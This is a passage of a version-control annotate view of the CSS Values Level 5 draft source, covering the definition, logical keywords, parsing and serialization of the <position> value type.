id="l621"> 621</a> </td> <td class="source"> the upper left corner of the [=alignment container=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l376" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l622" id="l622"> 622</a> </td> <td class="source"> A value pair of ''100% 100%'' places </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l377" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l623" id="l623"> 623</a> </td> <td class="source"> the lower right corner of the [=alignment subject=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l378" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l624" id="l624"> 624</a> </td> <td class="source"> in the lower right corner of the [=alignment container=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l379" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l625" id="l625"> 625</a> </td> <td class="source"> With a value pair of ''75% 50%'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l380" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l626" id="l626"> 626</a> </td> <td class="source"> the point 75% across and 50% down the [=alignment subject=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l381" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l627" id="l627"> 627</a> </td> <td class="source"> is to be placed at the point 75% across and 50% down the [=alignment container=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l382" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l628" id="l628"> 628</a> </td> <td class="source"> <figure> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l383" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l629" id="l629"> 629</a> </td> <td class="source"> <img src="images/bg-pos.png" </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l384" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l630" id="l630"> 630</a> </td> <td class="source"> alt="Diagram of image position within element" </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l385" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l631" id="l631"> 631</a> </td> <td class="source"> > </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l386" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l632" id="l632"> 632</a> </td> <td class="source"> <figcaption> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l387" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l633" id="l633"> 633</a> </td> <td class="source"> Diagram of the meaning of ''background-position: 75% 50%''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l388" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l634" id="l634"> 634</a> </td> <td class="source"> </figcaption> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l389" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l635" id="l635"> 635</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l390" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l636" id="l636"> 636</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l391" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l637" id="l637"> 637</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l392" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l638" id="l638"> 638</a> </td> <td class="source"> <dt><dfn>top</dfn> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l393" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l639" id="l639"> 639</a> </td> <td class="source"> <dt><dfn>right</dfn> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l394" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l640" id="l640"> 640</a> </td> <td class="source"> <dt><dfn>bottom</dfn> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l395" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l641" id="l641"> 641</a> </td> <td class="source"> <dt><dfn>left</dfn> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l396" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l642" id="l642"> 642</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l397" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l643" id="l643"> 643</a> </td> <td class="source"> Offsets the top/left/right/bottom edges (respectively) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l398" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l644" id="l644"> 644</a> </td> <td class="source"> of the [=alignment subject=] and [=alignment container=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l399" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l645" id="l645"> 645</a> </td> <td class="source"> by the specified amount (defaulting to ''0%'') </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l400" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l646" id="l646"> 646</a> </td> <td class="source"> in the corresponding axis. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l401" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l647" id="l647"> 647</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l402" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l648" id="l648"> 648</a> </td> <td class="source"> <dt><dfn>y-start</dfn> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l403" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l649" id="l649"> 649</a> </td> <td class="source"> <dt><dfn>y-end</dfn> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l404" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l650" id="l650"> 650</a> </td> <td class="source"> <dt><dfn>x-start</dfn> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l405" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l651" id="l651"> 651</a> </td> <td class="source"> <dt><dfn>x-end</dfn> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l406" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l652" id="l652"> 652</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l407" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l653" id="l653"> 653</a> </td> <td class="source"> Computes the same as the physical edge keyword </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l408" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l654" id="l654"> 654</a> </td> <td class="source"> corresponding to the [=start=]/[=end=] side </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l409" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l655" id="l655"> 655</a> </td> <td class="source"> in the [=y-axis|y/[=x-axis|x=] axis. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l410" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l656" id="l656"> 656</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l411" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l657" id="l657"> 657</a> </td> <td class="source"> <dt><dfn>block-start</dfn> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l412" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l658" id="l658"> 658</a> </td> <td class="source"> <dt><dfn>block-end</dfn> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l413" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l659" id="l659"> 659</a> </td> <td class="source"> <dt><dfn>inline-start</dfn> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l414" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l660" id="l660"> 660</a> </td> <td class="source"> <dt><dfn>inline-end</dfn> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l415" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l661" id="l661"> 661</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l416" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l662" id="l662"> 662</a> </td> <td class="source"> Computes the same as the physical edge keyword </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l417" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l663" id="l663"> 663</a> </td> <td class="source"> corresponding to the [=start=]/[=end=] side </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l418" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l664" id="l664"> 664</a> </td> <td class="source"> in the [=block axis|block=]/[=inline axis|inline=] axis. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l419" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l665" id="l665"> 665</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l420" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l666" id="l666"> 666</a> </td> <td class="source"> <dt><dfn>center</dfn> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l421" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l667" id="l667"> 667</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l422" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l668" id="l668"> 668</a> </td> <td class="source"> Computes to a ''50%'' offset in the corresponding axis. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l423" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l669" id="l669"> 669</a> </td> <td class="source"> </dl> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l424" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l670" id="l670"> 670</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l425" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l671" id="l671"> 671</a> </td> <td class="source"> Unless otherwise specified, the [=flow-relative=] keywords are resolved </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l426" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l672" id="l672"> 672</a> </td> <td class="source"> according to the [=writing mode=] of the element on which the value is specified. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l427" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l673" id="l673"> 673</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l428" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l674" id="l674"> 674</a> </td> <td class="source"> Note: The 'background-position' property also accepts a three-value syntax. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l429" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l675" id="l675"> 675</a> </td> <td class="source"> This has been disallowed generically because it creates parsing ambiguities </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l430" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l676" id="l676"> 676</a> </td> <td class="source"> when combined with other length or percentage components in a property value. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l431" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l677" id="l677"> 677</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l432" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l678" id="l678"> 678</a> </td> <td class="source"> ISSUE(9690): Need to define how this syntax would expand to the longhands of 'background-position' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l433" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l679" id="l679"> 679</a> </td> <td class="source"> if e.g. ''var()'' is used for some (or all) of the components. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l434" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l680" id="l680"> 680</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l435" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l681" id="l681"> 681</a> </td> <td class="source"><h4 id="position-parsing"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l436" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l682" id="l682"> 682</a> </td> <td class="source">Parsing <<position>></h4> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l437" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l683" id="l683"> 683</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l438" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l684" id="l684"> 684</a> </td> <td class="source"> When specified in a grammar alongside other keywords, <<length>>s, or <<percentage>>s, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l439" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l685" id="l685"> 685</a> </td> <td class="source"> <<position>> is <em>greedily</em> parsed; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l440" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l686" id="l686"> 686</a> </td> <td class="source"> it consumes as many components as possible. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l441" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l687" id="l687"> 687</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l442" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l688" id="l688"> 688</a> </td> <td class="source"> <div class=example> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l443" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l689" id="l689"> 689</a> </td> <td class="source"> For example, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l444" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l690" id="l690"> 690</a> </td> <td class="source"> 'transform-origin' defines a 3D position </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l445" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l691" id="l691"> 691</a> </td> <td class="source"> as (effectively) ''<<position>> <<length>>?''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l446" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l692" id="l692"> 692</a> </td> <td class="source"> A value such as ''left 50px'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l447" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l693" id="l693"> 693</a> </td> <td class="source"> will be parsed as a 2-value <<position>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l448" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l694" id="l694"> 694</a> </td> <td class="source"> with an omitted z-component; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l449" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l695" id="l695"> 695</a> </td> <td class="source"> on the other hand, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l450" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l696" id="l696"> 696</a> </td> <td class="source"> a value such as ''top 50px'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l451" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l697" id="l697"> 697</a> </td> <td class="source"> will be parsed as a single-value <<position>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l452" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l698" id="l698"> 698</a> </td> <td class="source"> followed by a <<length>>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l453" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l699" id="l699"> 699</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l454" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l700" id="l700"> 700</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l455" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l701" id="l701"> 701</a> </td> <td class="source"><h4 id="position-serialization"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l456" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l702" id="l702"> 702</a> </td> <td class="source">Serializing <<position>></h4> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l457" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l703" id="l703"> 703</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l458" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l704" id="l704"> 704</a> </td> <td class="source"> When serializing the [=specified value=] of a <<position>>: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l459" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l705" id="l705"> 705</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l460" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l706" id="l706"> 706</a> </td> <td class="source"> <dl class=switch> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l461" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l707" id="l707"> 707</a> </td> <td class="source"> <dt>If only one component is specified: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l462" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l708" id="l708"> 708</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l463" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l709" id="l709"> 709</a> </td> <td class="source"> * The implied <a value spec="css-backgrounds-3">center</a> keyword is added, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l464" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l710" id="l710"> 710</a> </td> <td class="source"> and a 2-component value is serialized. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l465" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l711" id="l711"> 711</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l466" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l712" id="l712"> 712</a> </td> <td class="source"> <dt>If two components are specified: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l467" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l713" id="l713"> 713</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l468" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l714" id="l714"> 714</a> 